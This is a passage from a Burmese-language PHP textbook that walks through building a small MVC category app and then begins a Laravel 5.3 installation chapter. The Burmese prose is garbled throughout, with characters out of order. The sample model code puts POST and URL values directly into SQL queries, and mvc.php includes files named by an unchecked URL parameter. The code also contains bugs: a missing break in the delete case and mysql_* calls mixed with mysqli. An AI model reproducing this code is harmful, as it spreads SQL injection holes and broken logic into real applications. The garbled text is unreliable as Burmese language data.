လိုအပတ်ဲ့ Value ိတကုိွြ ပုံမနှဆုိ်ရေင် Query String အိနနဲ့ထည့်သွင်းိပးရေမာှပါ။ Query String မလိို တာပ့ ဲမတှ်
ရေလယ်ွတဲ့  URL ပုံစံပဖေစ်ိအာင် URL Rewrite နဲ့ ပပုပပငလ်ိုက်ြပခငး် ပဖေစ်ပါတယ။် Rule ိတထွကဲြိနာက်ြဆံုးတစ်ခု
ကြ အိပါ်မာှသတ်  မတှထ်ားတဲ့  Rule  ိတနွဲ့မကိြက်ုြညရီေင်  controller တနဖ်ေိုးကုိြ  category လို့  Default
အိနနဲ့ထည့်သွင်းိပးဖေို့ သတမ်တှထ်ားတာပါ။

ဆက်ြလက်ြပပးီ mvc.php မာှ အခလုိုထည့်သွငး်ိပးပါ။

http://localhost/mvc/mvc.php?controller=book&action=list
http://localhost/mvc/book/list/
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<?php 
# Render view function 
function render( $template, $data = array() ) { 
  $controller = $_GET['controller']; 

  $view_file = "views/${controller}/${template}.php"; 

  if(file_exists( $view_file ) and !is_dir( $view_file )) { 

    $view = $view_file; 
    include("index.php"); 

  } else { 
    exit("View not found -> $view_file"); 
  } 
} 

# Setting URL Varaibles 
$controller = $_GET['controller']; 
$action = isset($_GET['action']) ? $_GET['action'] : ""; 
$id = isset($_GET['id']) ? $_GET['id'] : ""; 

# Loading model 
$model_file = "models/${controller}.php"; 

if(file_exists( $model_file ) and !is_dir( $model_file )) { 

  include( $model_file ); 

} else { 
  exit("Model not found -> $model_file"); 
} 

# Loading controller 
$controller_file = "controllers/${controller}.php"; 

if(file_exists( $controller_file ) and !is_dir($controller_file)) { 

  include( $controller_file ); 

} else { 
  exit("Controller not found -> $controller_file"); 
} 
?>

mvc.php ကြ လိုအပတ်ဲ့ View, Model, Controller File တို့ကုိြ ချတိဆ်က်ြထည့်သွငး်ိပးတဲ့ အလပုကုိ်ြလပု် ိပး
တဲ့  Script  ပဖေစ်ပါတယ်။  .htaccess ထမဲာှလဲ  Request  အားလုံးအတက်ွြ  ဒီ  Script  ကုိြပဲိ ရောက်ြလာိအာင်
သတမ်တှထ်ား ပပးီသားပါ။ တနညး်အားပဖေင့် ကြျွန်ိ တာတ်ို့ MVC Structure ရေဲ့  အဓကိြ Driver တစ်ခပုဖေစ်ပါတယ်။ 

ပထမဆံုး  View  ိဖောပ်ပိပးတဲ့  render() Function  ိရေးသားထားပါတယ်။ ဒီ  Function  ကြ ိဖောပ်ပိစလိုတဲ့
View Template အမညကုိ်ြိပးရေင် လုိအပသ်လို Include လုပတ်ဲ့အလပုကုိ်ြ လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ URL မာှ
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ပါဝငလ်ာတဲ့  Controller  ကုိြသံုးပပးီ  $view Variable  ထဲကုိြ ိဖောပ်ပရေမယ့်  View Template Path  အပပည့်အစံု
ထည့်သွငး်ိပးပါ တယ်။ ပပးီိတာမ့ှ  index.php ကုိြ  Include  လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။  index.php ထဲမာှ
$view Variable ထမဲာှရေှိိ နတဲ့ View Template ကုိြသံုးပပးီ ထည့်သွငး်ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ $view_file = "views/${controller}/${view}.php"; လုိ့ိ ရေးသားထားတ့ဲ  Statement  မာှ
Variable ိတွကြို ${...} ပုံစနံဲ့ိ ရေးသားထားတာကြို ိတွ့ရေနိုငပ်ါတယ။် အမနှ်ိ တာ ့အဲ့ဒလုိီမိရေးပ ဲ -

$view_file = "views/$controller/$view.php"; 

- လုိ့ ိရေးရေငလ်ညး် ရေလဒက်ြအတူတူပါပ။ဲ  စာနဲ့ Variable ကြိုိ ရောထားတာမို့ စာိအကြာငး်အပဖေတ်အိတာကြ်ိ အကြာင့် မလုိလား အပ်
တ့ဲ အမာှးိတွမပဖေစ်ိ ပါ်ရေိအာင ်Variable ိတွကြိုတွန့က်ြငွး်နဲ့ထည့်ထားပခငး်ပဖေစပ်ါတယ။်

ဆက်ြလက်ြိရေးသားထားတဲ့  Code  ိတကွြိတာ့  controller အမညကုိ်ြအသံုးပပုပပးီ လိုအပတ်ဲ့  Model File  နဲ့
Controller File တို့ကုိြ  Include လုပ်ိ ပးပခင်းပဖေစ်ပါတယ်။ Model နဲ့  Controller မရေှိရေင် Error Message များ
ိပးပပးီ  Script  ကုိြ  ရေပလ်ိုက်ြမာှပါ။  Request  Value  ိတကုိွြလညး်  လိုသလိုသံုးနိုငဖ်ေို့  $controller,
$action, $id စတဲ့  Variable  များနဲ့ အသင့်ထည့်သွငး် ိပးထားပါိသးတယ်။ ဆက်ြလက်ြပပးီ  index.php
မာှ ိပးထားတဲ့ Code ကုိြ ကူြးယူထည့်သွငး်ိပးပါ။

<!doctype html> 
<html> 
  <head> 
    <meta charset="utf-8"> 
    <title>PHP M-V-C</title> 
    <style> 
      body { 
        font-family: arial; 
        background: #efefef; 
      }

      .wrap { 
        width: 600px; 
        margin: 20px auto; 
        border: 4px solid #ddd; 
        background: #fff; 
      } 

      h1 { 
        background: #efefef; 
        margin: 0; padding: 8px; 
        font-size: 21px; 

 }
 
      h2 { 
        font-size: 18px; 
        margin: 0 0 10px 0; 
        padding: 0 0 8px 0; 
        border-bottom: 1px solid #ddd; 
      } 
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      .foot { 
        font-size: 13px; 
        color: #999; 
        text-align: center; 
        padding: 8px; 
        border-top: 1px solid #ddd; 
      } 

      .content { 
        padding: 20px; 
      } 
    </style> 
  </head> 
  <body> 
    <div class="wrap"> 
      <h1>Book Category</h1> 

      <div class="content"> 
        <?php include($view) ?> 
      </div> 

      <div class="foot">&copy; 2013</div> 
    </div> 
  </body> 
</html>

index.php ဟာ View Wrapper အိနနဲ့အသုံးပပုမယ့်  Main Document ပဖေစ်ပါတယ်။ ဒီ Structure မာှ App
ရေဲ့  Interface တိုငး်မာှပါဝငမ်ယ့် ိခါငး်စဉ၊် Copyright Statement စတဲ့ Element ိတကုိွြထည့်သွင်း ိပးထားရေမာှ
ပဖေစ်ပါတယ်။ ချတိဆ်က်ြဖေိုလ့ိုတဲ့  CSS  ိတ ွ JavaScript  ိတကုိွြ လညး် ဒမီာှပခဲျတိဆ်က်ြိပးရေမာှပါ။ နမနူာမာှိတာ့
File ိတ ွထပမ်ထည့်ချင်ိ တာလ့ို့ CSS ကုိြ index.php ထဲမာှပဲ Internal Style အိနနဲ့ တစ်ခါတညး် ထည့်သွင်း
ိရေးသားိပးထားပါတယ်။

$view Variable  ကုိြ  Include  လုပထ်ားတာကုိြ  သတပိပုပါ။  View  Template  တစ်ခကုိုြိဖောပ်ပိစချငလ်ို့
render() Function  သံုးလိုက်ြတဲ့အခါ၊  render() Function  ကြ ိဖောပ်ပရေမယ့်  View Template Path  ကုိြ
$view Variable  ထမဲာှ အသင့်ထည့်ိ ပးထားမာှ ပဖေစ်လို့  index.php ထဲကြ include($view) လိုိ့ ရေးထား
တဲ့ိ နရောမာှ View Template ကုိြ ထည့်သွငး်ိဖောပ်ပိပးိနိစမာှ ပဖေစ်ပါတယ။်

ဆက်ြလက်ြပပးီ controllers/category.php မာှ အခလုိုိ ရေးသားိပးပါ။
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<?php 
switch($action) { 
  case "": 
  case "list": 
    show_list(); 
    break; 
  case "new": 
    show_new(); 
    break; 
  case "add": 
    add_cat(); 
    break; 
  case "del": 
    rm_cat($id); 
  default: 
    exit("Unknown action -> $action"); 
} 

function show_list() { 
  $cats = get_cats(); 
  render("list", $cats); 
} 

function show_new() { 
  render("new"); 
} 

function add_cat() { 
  $name = $_POST['name']; 
  $result = insert_cat($name); 

  header("location: http://localhost/mvc/category/list/"); 
} 

function rm_cat($id) { 
  $result = del_cat($id); 

  header("location: http://localhost/mvc/category/list/"); 
} 
?>

$action Variable  ထဲမာှ  URL Action  တနဖ်ေိုးရေှိိ နိစဖေို့  mvc.php မာှသတမ်တှထ်ားပပီး  ပဖေစ်ပါတယ်။  ဒါ
ိအကြာင့် အ့ဲဒီ Variable ကုိြ switch() Statement နဲ့ စီစစ်ပပးီ ဘယ် Action ဆုိရေင် ဘယ် Function ကုိြ အလပု်
လပုရ်ေမလဲ  သတမ်တှထ်ားပခငး်ပဖေစ်ပါတယ်။  တနညး်အားပဖေင့်  Controller  တစ်ခရုေဲ့တာဝနပ်ဖေစ်တဲ့  Request  ိပါ်
မတူညပ်ပးီ  လပုရ်ေမယ့် အလပုကုိ်ြဆံုးပဖေတ် ိပးထားပခငး်ပဖေစ်ပါတယ်။ အကြယ်၍  Request  ကြ  mvc/category/
list/ ဆုိရေင်  Action  ကြ  list ပဖေစ်တဲ့အတက်ွြ  show_list() Function  ကုိြ  အလပုလ်ပု်ိ ပးသွားမာှပါ။
show_list() Function  ကြ အကြားခတံစ်ဆင့်ပါ။  တစ်ကြယ်လပုရ်ေမယ့်အလပုက်ြ  Model  မာှသတမ်တှထ်ားတဲ့
get_cats() Function ထမဲာှရေှိိ နတာ ပါ။

show_list() Function ကြ get_cats() Function ကုိြ ိခါ်ယူိပးပပးီ၊ ရေရေှိလာတဲ့ Category စာရေငး်ကိြုိ ဖော်
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ပပနိုငဖ်ေို့  render() Function  ကုိြ  ဆက်ြလက်ြအသံုးပပုထားပါတယ်။ အသံုးပပုရေမယ့်  View Template  အိနနဲ့
list ကုိြထည့်သွငး် ိပးထားပပးီ Data အိနနဲ့  get_cats() ကြ ပပန်ိ ပးလာတဲ့ Category စာရေငး်ကိြု ထည့်သွငး်
ိပးလိုက်ြပါတယ်။

Model မာှ get_cats() အပါအဝင်အပခားိဆာငရ်ေက်ွြချက်ြိတသွတမ်တှတ်ဲ့အိနနဲ့  model/category.php
မာှ အခလုိုိ ရေးသားိပးပါ။

<?php 
$conn = mysqli_connect("localhost", "root", ""); 
mysqli_select_db($conn, "store"); 

function get_cats() {
  global $conn; 
  $result = mysqli_query($conn, "SELECT * FROM categories"); 

  $cats = array(); 
  while($row = mysqli_fetch_assoc($result)) { 
    $cats[] = $row; 
  } 

  return $cats; 
} 

function insert_cat($name) { 
  global $conn;
  mysqli_query($conn, "INSERT INTO categories 
    (name, created_date, modified_date) 
    VALUES ('$name', now(), now())" 
  ); 

  return mysql_insert_id(); 
} 

function del_cat($id) { 
  global $conn;
  mysqli_query($conn, "DELETE FROM categories WHERE id = $id"); 

  return mysql_affected_rows(); 
} 
?> 

Model  တစ်ခပုဖေစ်တာနဲ့အညီ  Request/Respond ိတနွဲ့ ိဖောပ်ပရေမယ့်ပုံစံိတကုိွြ သတမ်တှမ်ထားပါဘးူ။ လုိအပတ်ဲ့
အချက်ြအလက်ြကုိြ Table ထဲကြရေယူပခင်း၊ ထည့်သွငး်ပခငး်၊ ပယ်ဖေျက်ြပခငး်တို့ကုိြသာ ိဆာငရ်ေက်ွြိပးတဲ့  Script တစ်ခု
ပဖေစ်ပါတယ်။

ဆက်ြလက်ြပပးီ view/category/list.php မာှ အခလုိုိ ရေးသားိပးပါ။
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<h2>List</h2> 
<ul> 
  <? foreach($data as $cat): ?> 
  <li> 
    [ <a href="http://localhost/mvc/category/del/<?= $cat['id'] ?>">del</a> ] 
    <strong><?= $cat['name'] ?></strong> 
  </li> 
  <? endforeach; ?> 
</ul> 

<br> 
<a href="http://localhost/mvc/category/new/">New Category</a> 

View Template  တစ်ခသုက်ြသက်ြပဖေစ်တာနဲ့အညီ  Request/Respond  ိတနွဲ့  အဓကိြအလပုလ်ပုပ်ုံိ တကုိွြ မသတ်
မတှပ်ါဘးူ။  $data Variable  ကုိြအသံုးပပုပပီး  အ့ဲဒီ  Variable  ထကဲြတနဖ်ေိုးိတကုိွြ  ဘယ်လိုပုံစံိဖောပ်ပရေမလပဲဲ
သတမ်တှထ်ား ပါတယ်။ အခုိ န h  ttp://localhost/category/list/   လို့ Request လပုအ်ကြည့်ရေင် index.php ထဲမာှ
ဒ ီView Template ကုိြ ထည့်သွငး်ိဖောပ်ပသွားမာှပဖေစ်တဲ့အတက်ွြ ပုံ (၁၁-ခ) ပပထားသလိုိ တွ့ ပမငရ်ေမာှပပဲဖေစ်ပါတယ်။

ပုံ (၁၁-ခ) category/list/ Result

ပုံ (၁၁-ခ) ရေဲ့  Browser URL ကုိြိလလ့ာအကြည့်ပါ။ mvc/category/list/ အတက်ွြရေလဒကုိ်ြိဖောပ်ပိနပခငး်ပဖေစ်
ပါတယ်။  Delete  အတက်ွြ  လိုအပတ်ဲ့လပု်ိ ဆာငခ်ျက်ြများလညး်  သတမ်တှခ်ဲ့ပပးီပဖေစ်လို့  စမး်သပအ်ကြည့်နိုငပ်ါတယ်။
del Link  ကုိြ  နှိပလ်ိုက်ြရေင်  mvc/category/del/[id] အိနနဲ့  Request  လုပ်ိ ပးသွားမာှပါ။  ဒါိအကြာင့်
Controller ကြ del Action အတက်ွြ သတမ်တှထ်ားတဲ့ လုပ်ိ ဆာငခ်ျက်ြကုိြ ိဆာငရ်ေက်ွြိပးသွားမာှပါ။

http://localhost/category/list/
http://localhost/category/list/


Professional Web Developer - အခန်း (၁၁) Model-View-Controller - MVC 375

Category  အသစ်များထည့်သွင်းနိုငဖ်ေိုအ့တက်ွြ ိနာက်ြထပ်  View Template  တစ်ခု  ဆက်ြလက်ြ ထည့်သွင်းပါဦး
မယ်။ view/category/new.php မာှ အခလုိုိ ရေးသားိပးပါ -

<h2>New</h2> 
<form action="http://localhost/mvc/category/add/" method="post"> 
  <input type="text" name ="name" placeholder="Category name"> 
  <input type="submit" value="Add"> 
</form> 

<br> 
<a href="http://localhost/mvc/category/list/">Category List</a> 

View  Template  တစ်ခပုဖေစ်တာနဲ့အညီ  သူလညး်ပဲိ ဖောပ်ပိစလိုတဲ့  Template  ပုံစံကုိြပဲ  သတမ်တှထ်ားပါတယ်။
Form action ကုိြ သတထိားအကြည့်ပါ။  mvc/category/add/ ကုိြ သတမ်တှထ်ားပါတယ်။ ဒါိအကြာင့် ဒီ  Form
ကြိပးပိုတ့ဲ့  Request  ကုိြ  Controller  ကြ  add Action  အိနနဲ့  စီမံိ ပးသွားမာှပါ။  add Action  အတက်ွြ
add_cat() Function  ကုိြိဆာငရ်ေက်ွြဖေို့  သတမ်တှထ်ားပါတယ်။  add_cat() Function  ကြ  Model  ရေဲ့
insert_cat() Function ကုိြ တစ်ဆင့်ိ ခါ်ယူိပးပပးီ Form ကြိပးပို့လာတဲ့  Data ကုိြ categories Table ထဲ
မာှ ထည့်သွငး်ိပးသာွးိစ မာှပဖေစ်ပါတယ်။ စမး်သပ်အကြည့်ပါ။ 

ိရေးသားထားတဲ့  Code  ိတရွေဲ့  ဆက်ြစပမ်ှုကြို  ပိုပမငသွ်ားိအာင်  Code  ိတကုိွြ  အစအဆံုးတစ်ိခါက်ြ  ပပန်ိ လလ့ာ
အကြည့် ိစချငပ်ါတယ်။

Edit  လပု်ိ ဆာငခ်ျက်ြကုိြ နမနူာမာှ ထည့်သွငး်ိပးမထားပါဘူး။ ကုိြယ်တိုငထ်ည့်သွင်း အကြည့်သင့်ပါတယ်။ ပထမဆံုး
view/category/list.php မာှ  Edit Link ထည့်ိ ပးရေပါမယ်။  view/category/ ထမဲာှပဲ  edit.php
(သုိမ့ဟတု်  နစ်ှသက်ြရော)  အမညန်ဲ့  Edit  Form  အတက်ွြ  View  Template  တစ်ခု  တည်ိ ဆာက်ြ  ရေပါမယ်။
controllers/category.php  မာှ  edit နဲ့ update Action နစ်ှခုအတက်ွြ လပု်ိ ဆာငခ်ျက်ြိတသွတမ်တှ်
ိပးရေပါမယ်။ ဆက်ြလက်ြပပးီ  models/category.php  မာှ  categories Table ကုိြ  Update လပု်ိ ပးတဲ့
လပုင်နး် ပဖေည့်စွက်ြိပးရေမာှပဖေစ်ပါတယ်။ ကကိြုးစားထည့်သွငး် အကြည့်ိ စချငပ်ါတယ်။

ဒနီညး်နဲ့  Model  ကုိြသပသ်ပ၊်  View Template  ကုိြသပသ်ပ်  ခွဲပခားိရေးသားနိုငတ်ဲ့  Pattern  တစ်ခကုိုြ ကုိြယ်တိုင်
တည်ိ ဆာက်ြယနူိုငပ်ါတယ်။  အခုိ န စာအုပစ်ာရေငး်  စီမနံိုငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြ  ထပမ်ပံဖေည့်စွက်ြလိုရေင်  Book
Controller,  Book Model  နဲ့  Book View  များကုိြ  Category  နဲ့  မိရောပသီဲးပခား  MVC  တစ်စံုအပဖေစ် ထပမ်ံ
ထည့်သွငး်နိုငမ်ာှ ပဖေစ်ပါတယ်။ ဒါိအကြာင့် လပု်ိ ဆာငခ်ျက်ြအရေလညး်  Model  သပသ်ပ်  View သက်ြသက်ြပဖေစ်ိနိစ
သလို၊ Category နဲ့ Book ဆုိတဲ့ သီးပခားလပုင်နး်ခွဲများဟာလညး်ကုိြယ်ပိုင် MVC တစ်စံုစီနဲ့ တညရ်ေှိိ နနိုငမ်ာှပပဲဖေစ်
ပါတယ်။
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Conclusion
ိဖောပ်ပခဲ့တဲ့နမနူာကုိြိလလ့ာအကြည့်ရေင် တစ်ချို ့လညး် "MVC ပုံစံနဲ့ ခွဲိ ရေးလိုက်ြမှ ပိုိ တာငအ်လပုရ်ှုပသွ်ားိသးတယ်"
လို့  ိတးွိကြာငး်ိတးွနိုငပ်ါတယ်။  လပု်ိ ဆာငခ်ျက်ြနညး်တဲ့အချနိမ်ို့  ပိုအလပုရ်ှုပတ်ယ်ထငရ်ေတာပါ။  လက်ြိတွ့မာှ
App  တစ်ခပုပည့်စံုဖေို့အတက်ွြ  လပု်ိ ဆာငခ်ျက်ြိတအွများကကီြးလိုနိုငပ်ါတယ်။  သူ့ကြဏနဲ့သူ  ခွဲပခားထားတဲ့အတက်ွြ
လပု်ိ ဆာငခ်ျက်ြ  တစ်ခု  ထပထ်ည့်ဖေို့လိုလာတိုင်း  သက်ြဆိငုရ်ောအပိုငး်အလိုက်ြ  တိုးချဲ့ သွားနိုငတ်ဲ့အတက်ွြပိုပပးီ
အဆင်ိ ပပိစပါတယ်။ 

ဒလီိုကိြစ္စ တကွြ  အိပပာသက်ြသက်ြနဲ့  မျက်ြစိထဲ  ပမငဖ်ေို့ခက်ြလာပါပပ။ီ  အိတွ့အအကြုံကြ  သင်  သွားမယ့်  ကိြစ္စ တပွါ။
လက်ြိတွ့   Project ိတမွာှ စမး်သပအ်သံုးပပုပခငး်အားပဖေင့် MVC လုိ Architecture Pattern ိတရွေဲ့အကြျို းကုိြ ပိုပပးီ
ပမင ်လာမာှပဖေစ်ိအကြာငး်ိဖောပ်ပလိုက်ြရေပါတယ်။
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အခနး် (၁၂) MVC with Laravel
Laravel PHP Framework အသံုးပပုပံု

ပပးီခဲ့တဲ့အခနး်မာှ  MVC  အိအကြာငး်ကုိြိဖောပ်ပခဲ့ပပးီ  Code  ိတကုိွြ  MVC  ပုံစံ ိရေးသားပုံနမနူာကုိြလညး် ိဖောပ်ပခဲ့ပါ
တယ်။ ဒီိ နရောမာှိတာ့  Laravel PHP Framework  ကုိြ အသံုးပပုပပးီ  MVC ပုံစံ ိရေးသားပုံကိြု ဆက်ြလက်ြိဖောပ်ပ
သွားမာှ  ပဖေစ်ပါတယ်။  ဒစီာအုပကုိ်ြ  စတင်ိ ရေးသားစဉမ်ာှ  Laravel  ဟာ လူအများစိတဝ်ငစ်ားမှုကုိြ  လက်ြခရံေရေှိိ နတဲ့
Framework  သစ်  တစ်ခသုာပဖေစ်ိပမယ့်၊  အခခုျနိမ်ာှိတာ့  လူသံုးအများဆံုး  PHP Framework  ိတထွကဲြတစ်ခု
ပဖေစ်လာခဲ့ပပပီဖေစ်ပါတယ်။ ဒစီာိရေးသားိနချနိမ်ာှ  ိနာက်ြဆံုးထက်ွြရေှိထားတဲ့  Version  ကြိတာ့  Laravel 5.3  ပဖေစ်ပါ
တယ်။

Laravel ဟာ သူရ့ေဲ့  သပရ်ေပရ်ေငှး်လငး်ပပီး ဖေွဲ့စညး်ပုံစနစ်ကြျတဲ့ Code ိပါ်မာှ အလနွဂ်ဏုယူ်ပပးီ၊ Laravel ကုိြ အများ
နစ်ှသက်ြရေပခင်း အဓကိြအိအကြာငး်ရေင်းကြလညး်၊ အ့ဲဒလီို သပရ်ေပရ်ေငှ်းလငး်ပပးီ ဖေွဲ့စညး်ပုံ စနစ်ကြျတဲ့  Code  ိအကြာင့်ပဲ
ပဖေစ်ပါတယ်။ PHP ဟာ Language Design ပိုငး် အားနညး်မှု တရွေှိတယ်လို့ ိဝဖေနခ်ရံေိလ့ရေှိတဲ့  Language တစ်ခု
ပဖေစ်ပါတယ်။ အခုိ နာက်ြပိုငး်မာှိတာ၊့  PHP  ကြ  Language Design  အားနညး်တယ်လို့ိ ပပာချငရ်ေင်  Laravel  ကုိြ
အကြည့်ပပးီမှိ ပပာပါလို့ ဆုိရေိလာက်ြိအာင ်သူရ့ေဲ့  စနစ်ကြျသပရ်ေပမ်ှုကြ စံပပပဖေစ်လာခဲ့ပါတယ်။

Laravel  ရေဲ့  အပခား  ထူးပခားအသံုးဝငတ်ဲ့  အချက်ြိတကွြိတာ၊့  ိနာက်ြပိုငး်  PHP  Version  ိတမွာှ  ပါဝငလ်ာတဲ့
Namespace,  Anonymous Function,  PHP Development Server  စတဲ့ လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ထိိရောက်ြ
ိအာငအ်သံုးချထားပခငး်၊  Composer  လ့ုိိခါ်တဲ့ အများနစ်ှသကြတ်ဲ့  Package Management စနစ်တစ်ခု အသံုးချ
ထားပခငး်၊  Database  ဆုိငရ်ော လပုင်နး်ိတ ွစနစ်ကြျ လယ်ွကူြိစဖေိုအ့တက်ွြ  Eloquent  လ့ုိိခါ်တဲ့  ORM (Object
Relational  Mapping)  နညး်ပညာကုိြ  အသံုးချထားပခငး်၊  Blade  လ့ုိ  ိခါ်တဲ့  Template  Engine  တစ်ခကုိုြ
အသံုးပပုထားပခငး်၊ Authentication စနစ် တစ်ခါတညး် ပါဝငပ်ခငး်၊ Development Environment တည်ိ ဆာက်ြ
ပခငး်နဲ့  Deployment လယ်ွကူြိစဖေို့အတက်ွြ Homestead လို့ ိခါ်တဲ့ Virtualization အိပခပပု နညး်ပညာ ဖေနတ်းီ
ိပးထားပခငး်၊  စသပဖေင့်  ထူးပခားချက်ြိပါင်းများစွာ  ပါဝငပ်ါတယ်။  ဒအီိအကြာငး်  အရောအားလုံးကုိြိတာ့  ဒီိ နရောမာှ
ိဖောပ်ပနိုငမ်ာှ  မဟတုပ်ါဘးူ။  ဒီိ နရောမာှ  Laravel  ကုိြ  အသံုးပပုပပးီ  MVC Code  ိတ ွဘယ်လိုိ ရေးနိုငသ်လဆုိဲတဲ့
အပိုင်းကုိြသာ  ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။  စတင်ိ လ့လာသူတစ်ဦးအိနနဲ့  ချက်ြပခငး်အလပု်  ပဖေစ်ိစဖေို့အတက်ွြ
လိုအပတ်ဲ့အပိုငး်ိတကုိွြ ိရေးွထတု်ိ ဖောပ်ပပပးီ ကြျနန်ညး်ပညာိတကုိွြိတာ့ ကုိြယ်တိုင် ဆက်ြလက်ြိလလ့ာသွားနိုင်ိ စဖေို့
ရေညရ်ေယ်ွပခငး်ပဖေစပ်ါတယ်။ 
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12.1 - Installing Laravel
Laravel Framework ကုိြ အသံုးပပုနိုငဖ်ေိုအ့တက်ွြ PHP 5.6.4 နဲ့အထက်ြရေှိဖေို့ လိုအပပ်ါတယ်။ ဒါိအကြာင့် PHP 7 နဲ့ဆုိ
ရေငလ်ညး် အဆင်ိ ပပိပပ အလပုလ်ပုန်ိုငပ်ါတယ်။  PDO, Mbstring, Tokenizar  စတဲ့  PHP Extension  ိတကုိွြ
System Requirement  အိနနဲ့ လိုအပပ်ါတယ်။ ဒါိပမယ့်  XAMPP  မာှ အ့ဲဒီ  Extension  ိတကွြ တစ်ခါတညး်
ပါဝငပ်ပီးသား ပဖေစ်ပါတယ်။

Laravel ကုိြ Install လပုဖ်ေို့အတက်ွြ နညး်လမး်မနှက်ြိတာ့ Composer လိုိ့ ခါ်တဲ့ PHP Package Manager ကြိန
တစ်ဆင့် Install လုပပ်ခငး်ပဲ ပဖေစ်ပါတယ်။ ဒါိပမယ့် ဒီိ နရောမာှ Composer အိအကြာငး် အကြျယ်မချဲ့ချငတ်ဲ့အတက်ွြ
တိုက်ြရုိကြပ်ဲ  Download ရေယူတဲ့နညး်လမး်ကုိြပဲ အသံုးပပုသွားမာှ ပဖေစ်ပါတယ်။ ဒါဟာ နညး်လမး်မနှ် မဟတု်ိ ပမယ့်
ပမနန်ှုနး်ပမင့် အငတ်ာနက်ြမရေှိသူိတအွတက်ွြ ပိုလယ်ွပါတယ်။ အငတ်ာနက်ြမရေှိလဲ ဖေိုငကုိ်ြ ကူြးယူအသံုးပပုနိုငတ်ဲ့အတက်ွြ
ပဖေစ်ပါတယ်။ Composer ကြိန Install  လုပရ်ေင်ိ တာ့ အငတ်ာနက်ြ အဆက်ြအသွယ်လိုသလို သင့်တင့်တဲ့ ပမနန်ှုနး်နဲ့
တညပ်ငမိမ်ှု လညး်လိုနိုငပ်ါတယ။် အငတ်ာနက်ြမပငမိလ်ို့ လိုအပတ်ဲ့ Package ိတ ွမစံုရေင် အခက်ြအခဲိ တနွဲ့ အကြုံိတွ့ရေ
မာှ ပဖေစ်ပါတယ်။

Laravel  5.3  နဲ့  ဆက်ြစပလ်ိုအပတ်ဲ့  Package  အားလုံးကုိြ  စုစညး်ိပးထားတဲ့  ဖေိုငတ်စ်ခကုိုြ  ိအာက်ြပါလပိစ်ာမာှ
Download ရေယူနိုငပ်ါတယ်။

http://eimaung.com/pwd-rc/laravel-5.3-all.zip

စာအုပန်ဲအ့တူ တွဲဖေက်ြပါဝငလ်ာတဲ့ CD ထမဲာှလညး် အသင့်ထည့်ထားိပးပါတယ်။ Download လုပဖ်ေို့ အခက်ြအခရဲေှိ
ရေင်  CD  ထကဲြိန ကူြးယူလို့ရေပါတယ။်  ရေရေှိလာတဲ့  Zip  ဖေိုငကုိ်ြပဖေညအ်ကြည့်လိုက်ြရေင်  laravel ဆုိတဲ့  အမညန်ဲ့
Directory တစ်ခထုမဲာှ အခလုိုဖေိုငန်ဲ့ Directory ိတ ွပါဝငလ်ာတာကုိြ ိတွ့ရေမာှ ပဖေစ်ပါတယ။်

laravel
├── app
│   ├── Commands
│   ├── Http
│   ├── Services
│   └── User.php
├── artisan
├── bootstrap
├── composer.phar
├── config
│   ├── app.php
│   ├── auth.php
│   ├── database.php
│   ├── session.php
│   └── view.php
├── database
├── public
│   ├── css
│   └── index.php

http://eimaung.com/pwd-rc/laravel-5.3-all.zip
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├── resources
│   └── views
├── routes
│   ├── api.php
│   ├── web.php
├── server.php
├── storage
├── tests
└── vendor
    ├── autoload.php
    ├── composer
    ├── doctrine
    ├── laravel
    ├── monolog
    ├── phpdocumentor
    ├── phpspec
    ├── phpunit
    ├── swiftmailer
    └── symfony

ပါတဲ့ဖေိုင်ိ တအွရေမ်းများလို့ ိလျှာပ့ပးီ ပပထားတာပါ။ လက်ြိတွ့ အကြည့်လိုက်ြရေင် ဒထီက်ြပို များပါလမိ့်ဦးမယ်။ ရေရေှိလာတဲ့
laravel Directory ကုိြ  XAMPP Document Root (htdocs)  ိအာက်ြမာှ ထားပပးီ  Laravel Framework
ကုိြ  စတငအ်သံုးပပုဖေို့အတက်ွြ  အသင့ပ်ဖေစ်ပပပီဖေစ်ပါတယ်။  Web  Browser  ဖေငွ့်ပပးီ  localhost/laravel/public လ့ုိ
ထည့်သွငး်အကြည့်လိုက်ြရေင ်အခလုို ိတွ့ရေမာှပဖေစ်ပါတယ်။

ပုံ (၁၂-ကြ) Laravel First Run
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Laravel  စတင် အလပုလ်ပု်ိ နပပဆုိီတဲ့သိဘာ ပဖေစ်ပါတယ်။  URL မာှ  public Directory  ကုိြ ညွှနး်ထားတာကုိြ
သတပိပုပါ။ ကြျနဖ်ေိုငန်ဲ့ Folder ိတကွြ App Source Code နဲ့ လိုအပတ်ဲ့ ဆက်ြစပ် Package ိတပွဖေစ်ပပးီ၊ ိနာက်ြဆံုး
ရေလဒကုိ်ြိတာ့ public Directory ကြိန ရေရေှိမာှပဖေစ်ပါတယ်။ ိရေှ့ဆက်ြမသွားခင် သတပိပုသင့်တဲ့ ဖေိုငန်ဲ့ Directory
ိတအွိအကြာငး်ကုိြ အရေင်ိ လလ့ာချငပ်ါတယ်။

/app ကုိြယ့် App ရေဲ့  Source Code အများစုဟာ ဒီ Directory ထမဲာှ ိရေး သား
ရေမာှပဖေစ်ပါတယ်။  app အတငွး်မာှ  Console, Events, Http စတဲ့
အိပခခလံပု်ိ ဆာငခ်ျက်ြိတကုိွြ  ကကိြုတင်ိ ရေးသားိပးထားတဲ့  Directory
ိတ ွပါဝငပ်ါိသးတယ်။ တည်ိ ဆာက်ြမယ့် App ရေဲ့  Model Code ိတကုိွြ
ဒီ  Directory  အတငွး်မာှ  သက်ြဆိငုရ်ော  Directory  ိတ ွ ထပခ်ွဲပပးီ
ထည့်သွငး် ိရေးသားနိုငပ်ါတယ်။

/app/Http/Controllers MVC မာှ Controller ရေဲ့  တာဝနဟ်ာ Requests/Responses ိတ ွစီမပံဖေစ်
ပဖေစ်ိအကြာငး်  ိဖောပ်ပခဲ့ပပီး  ပဖေစ်ပါတယ်။  Controller  Code  ိတကုိွြ  ဒီ
Directory ထဲမာှ စုစညး် ိရေးသားရေမာှ ပဖေစ်ပါတယ။်

/config Framework  Setting  ိတကုိွြ  ဖေိုငအ်မညအ်လိုက်ြ  ဒီ  Directory  ထဲမာှ
စုစညး် ိပးထားပါတယ်။

/config/database.php အသံုးပပုလိုတဲ့  Database  အမျို းအစား၊  Database  အမည၊်  Username,
